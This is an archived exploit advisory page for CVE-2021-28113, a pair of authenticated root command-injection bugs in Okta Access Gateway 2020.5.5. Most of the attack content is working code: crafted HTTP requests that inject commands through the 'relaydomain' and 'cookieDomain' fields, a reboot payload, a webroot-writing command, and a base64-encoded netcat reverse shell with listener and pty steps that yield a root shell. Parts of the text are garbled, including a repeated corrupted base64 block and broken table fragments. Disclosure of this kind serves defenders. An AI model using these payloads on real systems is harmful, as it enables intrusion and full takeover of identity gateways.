

Search ..

Home Files News About Contact &[SERVICES_TAB]

Add New

Okta Access Gateway 2020.5.5 Authenticated Remote Root

Okta Access Gateway version 2020.5.5 suffers from multiple authenticated remote root command injection vulnerabilities.

tags | exploit, remote, root, vulnerability

advisories | CVE-2021-28113
SHA-256 | fde1ff592fc34fc94cc529909b2816a1c21c20b0fb847dc8e826cd07707aeffa

Download | Favorite | View

[Quick testing] "cookieDomain":"\$(reboot)"

[Exploitation for executing commands with output in the webroot]

Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable).

 $\label{thm:condition} $$ echo -n "script -q -c ls\SFFS-al\SFFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0 e2NyaXB0IC1xIC1jIGxzJEIGUylhbCRJRIWvcm9vdCAvb3B0L29h2y9zaWlwbGVTQUIMcGhwL3d3dy90ZXN0LnBocA== $$$ echo -n "script -q -c ls\SFFS-al\SFFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0 e2NyaXB0IC1xIC1jIGxzJEIGUylhbCRJRIWvcm9vdCAvb3B0L29h2y9zaWlwbGVTQUIMcGhwL3d3dy90ZXN0LnBocA== $$$$$ echo -n "script -q -c ls\SFFS-al\SFFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0 e2NyaXB0IC1xIC1jIGxzJEIGUylhbCRJRIWvcm9vdCAvb3B0L29h2y9zaWlwbGVTQUIMcGhwL3d3dy90ZXN0LnBocA== $$$$$ echo -n "script -q -c ls\SFFS-al\SIF$

Follow us on Twitter Subscribe to an RSS Feed

Su	Мо	Tu	We	Th	Fr	
Sa						
				1	2	
3						
4	5	6	7	8	9	
10						
11	12	13	14	15	16	
17						
18	19	20	21	22	23	
24						
25	26	27	28	29	30	
31						

Red Hat 157 files Ubuntu 76 files LiquidWorm 23 files Debian 21 files nu11secur1ty 11 files Gentoo 9 files Google Security Research 8 files Julien Ahrens 4 files T. Weber 4 files

File Tags	File Archives
ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	Systems
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Share This						
Share This						
Lik€	TWAS	LinkedIn	Reddit	Digg	StumbleUpon	
Change Mirror						Download
Okta Access Gateway v202	0.5.5 Post-Auth	Remote Root R	CE			
CVE-2021-28113						
Details						
There are two command in Since the injection occur privileges.	jection bugs ca rs when a scrip	n that be trig	gered after with sudo, t	authenticat he commands	ing to the web UI. are ran with root	
BUG #1 - relay						
Command injection as root	t in Applicatio	ns via the 're	laydomain' f	ield when p	assing	
parameters to generateCe: local execution instrume:	rt.sh. This is	blind injectio	n, so withou	t monitorin	g logs or	
Also, the included 'nc' i which enables an exploits	oinary that the ation easier vi	system image a connect back	includes has shell.	the -e fla	g available	
[Request]						
POST /api/v1/app/idp/[va: Host: gw-admin.domain.tle	lid-IDP] HTTP/1	.1				
Content-Type: application X-CSRF-TOKEN: [placeholde	n/json;charset=	utf-8				
Content-Length: 134 Cookie: CSRF-TOKEN=[place		IONID=[placeho	lder]; Sessi	onCookie=[p	laceholder]	
{"settings": {"label":"test",						
"type": "CERTHEADER2015_AI "relaydomain": " \$ (whoam:	PP", i)", < HERE					
"groups":[], "handlers":{}}						
,"policies":[{}]}						
[Response /w local instru						
pid=23033 executed [/bin, [Quick testing]	/bash /opt/oag/	bin/generateCe	rt.sn -w -d	.root]		
"relaydomain":"\$(reboot	E) "					
and the system should rel						
[Exploitation for reverse						
Note: for some bizzare re reproducible afterwards.	eason, this pay	load worked fo	r a period o	f time duri	ng testing, but was	not generally
1) generate base64 for th	he connect back	command to be	executed			
\$ echo -n "nc 10.0.0.111 bmMgMTAuMTAuMTAuMTc51DU11	5000 -e /bin/b NTUgLWUgL2Jpbi9	ash" base64 HIYXNo				
2) start a listener						
\$ nc -1 -p 5000						
3) make the request with	the payload (is required	due to how i	t narses do	mains)	
\$(echo\${IFS}'bmMgMTAuM						
4) get a root shell from	the server					
* connection from 10.0.0	.77 *					
python -c 'import pty; pi [0] root@oag.okta.com;/ro		Dasn-)·				
Note: the hostname of the		t system happe	ns to be oag	.okta.com a	nd has nothing to do	with any Okta
company servers.						
Command injection as room parameters to generateCe:	t in Identity P	roviders via t	he 'cookieDo	main' field	when passing	
[Request]						
POST /api/v1/setting/idp. Host: gw-admin.domain.tle	/local HTTP/1.1					
Content-Type: application X-CSRF-TOKEN: [placeholde	n/ison;charset=	utf-8				
Content-Length: 222 Cookie: CSRF-TOKEN=[place		:IONID=[placeho	lder]; Sessi	onCookie=[p	laceholder]	
{"subCategory":						
"IDP_SAML_LOCAL", "json":{ "name":"Local OAG IDP",						
"host": "https://google.co "cookieDomain": "\$ (uname\$	om",	UPDP				
"nameIDFormat": "urn:oasi: "metadata": {}},	s:names:tc:SAML	:1.1:nameid-fo	rmat:unspeci	fied",		
"\$edit":true}						
[Response /w local instr						
pid=22822 executed [/bin, #1 SMP Mon Jul 29 17:46:	/bash /opt/oag/ 05 UTC 2019 x86	bin/generateCe 6_64 x86_64 x86	rt.sh -w -d _64 GNU/Linu	Linux oag 3 x uid=0(roo	.10.0-957.27.2.e17.> t) gid=0(root) group	:86_64 :s=0(root)]
Lance of the second						





Site Links About Us News by Month

History & Purpose News Tags Contact Information Files by Month Terms of Service

File Tags Privacy Statement File Directory Copyright Information

Hosting By Rokasec

Follow us on Twitter

Subscribe to an RSS Feed